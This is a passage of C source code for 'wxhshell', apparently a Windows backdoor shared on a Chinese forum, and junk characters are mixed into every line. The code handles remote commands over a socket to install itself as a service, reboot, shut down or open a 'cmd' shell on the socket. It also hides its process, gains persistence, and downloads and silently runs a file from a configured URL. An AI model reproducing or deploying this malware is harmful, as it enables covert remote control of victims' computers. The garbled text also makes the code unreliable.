    switch(cmd[0]) { $.}fL;BzVz  
  ih?_ fW  
  // 帮助 +0=u]  
  case '?': { EvMhNq~y5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Oah}7!a)  
    break; S zOB{  
  } :rb<mg[  
  // 安装 P sD+?  
  case 'i': { )@3ce'  
    if(Install()) &tKs t,UR8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <}%>a@  
    else &j/ WjZPF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +b] g;  
    break; 6:B[8otQ  
    } cW,wN~  
  // 卸载 *&B*/HAN  
  case 'r': { :x97^.eW~  
    if(Uninstall()) bG>pm|/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~\K+)(\SNp  
    else T IPb ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uG3t%CmN  
    break; A0M)*9 f  
    } xkOyj`IS  
  // 显示 wxhshell 所在路径 o:#MP(h,N  
  case 'p': { zp4Jd"XBX  
    char svExeFile[MAX_PATH]; e(BF=gesgp  
    strcpy(svExeFile,"\n\r"); {so"xoA^c  
      strcat(svExeFile,ExeFile); K/G|MT)  
        send(wsh,svExeFile,strlen(svExeFile),0); /yIkHb^c   
    break; /Z>#lMg\.  
    } :9c QK]O6  
  // 重启 Mno4z/4{A  
  case 'b': { xrO:Y!C?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c\.4I4uy  
    if(Boot(REBOOT)) [dsH0 D&T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jh`&c{#*)M  
    else { G3 #c  
    closesocket(wsh); i}RxTmG<  
    ExitThread(0); #:z.Br`  
    } DI9x] CR  
    break; HPp Kti7g  
    } Aa.bE,W  
  // 关机 V_!hrKkL  
  case 'd': { Gy 'l;2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1c,$D5#  
    if(Boot(SHUTDOWN)) ,g{`M]Ov  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TH)gW  
    else { G F,/<R#  
    closesocket(wsh); G[6V=G  
    ExitThread(0); ?`,UW;Br6  
    } iO3@2J  
    break; Tm[IOuhM'?  
    } X'ryfa1|  
  // 获取shell c^UG}:Y  
  case 's': { BG~h9.c  
    CmdShell(wsh); uFb&WIo1  
    closesocket(wsh); _i:yI-jA  
    ExitThread(0); O~-#>a  
    break; ,;H)CUe1"  
  } qbHb24I  
  // 退出 ve=oH;zf  
  case 'x': { Gs.id^Sf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FbJlyWND  
    CloseIt(wsh); W:b8m Xx  
    break; <;+&`R  
    } N4}/n  
  // 离开 Z|uUE   
  case 'q': { \8=>l?P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !u~( \ Rb;  
    closesocket(wsh); Yc/rjEn7O  
    WSACleanup(); #G|iEC0C  
    exit(1); <y\>[7Y  
    break; L$l'wz  
        } G*mk 19Z  
  } {Aj}s3v  
  } !tmY_[\  
Dx/?0F7V  
  // 提示信息 4iRcmsP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A/W0O;*q  
} }X)mZyM[  
  } i=.zkIjSh  
Cz+>S3v M  
  return; 7:R8QS9  
} yiSv#wD9  
<:2El9l!  
// shell模块句柄 $dgY#ST%  
int CmdShell(SOCKET sock) z(aei(U=  
{ y0M^oLx  
STARTUPINFO si; b(I-0<  
ZeroMemory(&si,sizeof(si)); (m\PcF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HzF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B~V^?."  
PROCESS_INFORMATION ProcessInfo; 41^+T<+  
char cmdline[]="cmd"; 7<mY{!2iF?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h:<p EL  
  return 0; 6^s=25>p  
} :7<spd(%"  
D^]7/w:$-  
// 自身启动模式 {2}O\A  
int StartFromService(void) =" #O1$  
{ V"#ie Y n  
typedef struct ),mKEpf  
{ +tkDT@ `  
  DWORD ExitStatus; ,sn ?V~)  
  DWORD PebBaseAddress; BEx? bf@|]  
  DWORD AffinityMask; dG'aJQw  
  DWORD BasePriority; weU'3nNN  
  ULONG UniqueProcessId; A|I7R -  
  ULONG InheritedFromUniqueProcessId; T'  %TMA  
}   PROCESS_BASIC_INFORMATION; |#LU"D  
GP<A v1  
PROCNTQSIP NtQueryInformationProcess; 9sFZs]uM  
G}&B{Ir  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4)!aYvaER  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :,Q\!s!  
ly7\H3  
  HANDLE             hProcess; "H" 4(3  
  PROCESS_BASIC_INFORMATION pbi; ;x$,x-  
Jv %, v?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \ty{KAc&  
  if(NULL == hInst ) return 0; b<P9@h~:  
Q.>@w<[!L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <[@AMdS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )/1AF^ E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >u ,Ac:  
xqs{d&W  
  if (!NtQueryInformationProcess) return 0;  ztKmB  
[ma'11?G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WolkW:(Cg  
  if(!hProcess) return 0; :Gsh  
[KLs} ~H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `|P fa  
 5f(yF  
  CloseHandle(hProcess); n#Q;b Sw  
O; 7`*}m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?{NP3  
if(hProcess==NULL) return 0; "-88bF~  
I} m\(TS-"  
HMODULE hMod; Z,^`R] 9  
char procName[255]; OS;qb:;  
unsigned long cbNeeded; _HW~sz|  
epI&R)]   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @e8b'w3  
5I`j'j  
  CloseHandle(hProcess); 3} @3pVS  
c>#T\AEkF  
if(strstr(procName,"services")) return 1; // 以服务启动 jNhiY  
h.d-a/  
  return 0; // 注册表启动 y3 {'s>O6  
} r: ]t9y>$<  
HT0VdvLw  
// 主模块 thy)J.<J  
int StartWxhshell(LPSTR lpCmdLine) sG[v vm  
{ T2<?4^xN  
  SOCKET wsl; {VtmQU? cJ  
BOOL val=TRUE; cVYDO*N2T  
  int port=0; B +[ri&6X\  
  struct sockaddr_in door; {AUhF}O  
I(tMw6C$:  
  if(wscfg.ws_autoins) Install(); OJ^kESrm8  
Q>Voa&tYn  
port=atoi(lpCmdLine); .<%2ON_  
^aYlu0Wm  
if(port<=0) port=wscfg.ws_port; kH/u]+_  
W/DSj :  
  WSADATA data; y.PWh<dI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R?MRRq  
Q#w mS&$f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &YC Z L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h_#x@p  
  door.sin_family = AF_INET; }%Mj`Bh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  mo+zq~,M  
  door.sin_port = htons(port); v|fA)W w  
B3|h$aKC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O{b<UP'85  
closesocket(wsl); o81RD#>E)  
return 1; fy]z<SPhVJ  
} Bn:" q N~  
J<hqF4z  
  if(listen(wsl,2) == INVALID_SOCKET) { :/UO3 c(  
closesocket(wsl); ko<u0SjF)u  
return 1; }MQNzaXY^  
} ere h!  
  Wxhshell(wsl); & \tD$g~"  
  WSACleanup(); 7[z^0?Pygf  
5:y\ejU  
return 0; 7X 4/6]*  
s8BfOl-  
} &CBW>*B  
RP[^1  
// 以NT服务方式启动 2E5n07,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +g %h,@  
{ !|4fww  
DWORD   status = 0; BNi6I\wa  
  DWORD   specificError = 0xfffffff; X!H[/b:1O  
8xf]zM"Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1i=lJmr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4`E[ WE:Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |Y|6`9;  
  serviceStatus.dwWin32ExitCode     = 0; QAGR\~  
  serviceStatus.dwServiceSpecificExitCode = 0; cPaz-  
  serviceStatus.dwCheckPoint       = 0; 9dS<^E(ZF  
  serviceStatus.dwWaitHint       = 0; cdd6*+E  
B|9[DNd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W5i{W'  
  if (hServiceStatusHandle==0) return; p>M8:,  
m\*;Fx  
status = GetLastError(); f2h`bO  
  if (status!=NO_ERROR) Ln-UN$2~F  
{ M2Q*#U>6r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L#huTKX}  
    serviceStatus.dwCheckPoint       = 0; JG^fu*K  
    serviceStatus.dwWaitHint       = 0; wFbw3>'a9  
    serviceStatus.dwWin32ExitCode     = status; `-_kOxe3  
    serviceStatus.dwServiceSpecificExitCode = specificError; -Cn x!g}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); up_Qv#`Q  
    return; 2/o_,k  
  } ^*?mb)  
Oq3aboAt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D[jPz0  
  serviceStatus.dwCheckPoint       = 0; \B/!}Tn;  
  serviceStatus.dwWaitHint       = 0; zX]4DLl,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  9}-;OJe  
} (JMk0H3u  
Gx)U~L$B  
// 处理NT服务事件,比如:启动、停止 =;L44.,g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,I|3.4z  
{ bi{G :xt  
switch(fdwControl) o|7ztpr  
{ ~K$dQb])  
case SERVICE_CONTROL_STOP: 3M^s EaUI  
  serviceStatus.dwWin32ExitCode = 0; D9yAq'k$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G^1 5V'*  
  serviceStatus.dwCheckPoint   = 0; G/ sRi wL  
  serviceStatus.dwWaitHint     = 0; hqDnmzG  
  { Mi^/`1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m>FP&~2  
  } 4De2m iq  
  return; xaN[ru@  
case SERVICE_CONTROL_PAUSE: JnE\z*NB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :<p3L!?8y  
  break; 1S{AGgls5  
case SERVICE_CONTROL_CONTINUE: 62.)fCQ^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S7B\m v  
  break; ntr&? H  
case SERVICE_CONTROL_INTERROGATE: to9X2^  
  break; }Y~<|vZ  
}; N({0"7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BbIg]E/G  
} `; +UWdAR  
"?AJ(>wP  
// 标准应用程序主函数 U{,:-R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4s@oj  
{ ptQCqQ1_d  
#1)#W6 h\  
// 获取操作系统版本 =w;~1i% .k  
OsIsNt=GetOsVer(); j^5VmG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @@W-]SR  
SX)o0v+  
  // 从命令行安装 =D3K})&  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2F&VG|"  
9Zj9e  
  // 下载执行文件 jp+s[rRc\{  
if(wscfg.ws_downexe) { L#k`>Qn2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]q`'l_O  
  WinExec(wscfg.ws_filenam,SW_HIDE); cj;k{ Moc  
} $Wn!vbL  
@ JfQ}`  
if(!OsIsNt) { 'O^<i`8U]  
// 如果时win9x,隐藏进程并且设置为注册表启动 *";O_ :C!  
HideProc(); k0bDEz.X  
StartWxhshell(lpCmdLine); 1v~1?+a\2  
} dy.U;  
else .Lm0$o*`  
  if(StartFromService()) \=2<< iv  
  // 以服务方式启动 b QgtZHO  
  StartServiceCtrlDispatcher(DispatchTable); [;Y*f,UG_-  
else ruU &.mZ  
  // 普通方式启动 jPIOBEIG  
  StartWxhshell(lpCmdLine); s}lp^Uh=  
+.J/7 gD  
return 0; `f<&=_,xfH  
}
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只看该作者 1 发表于: 2006-10-10
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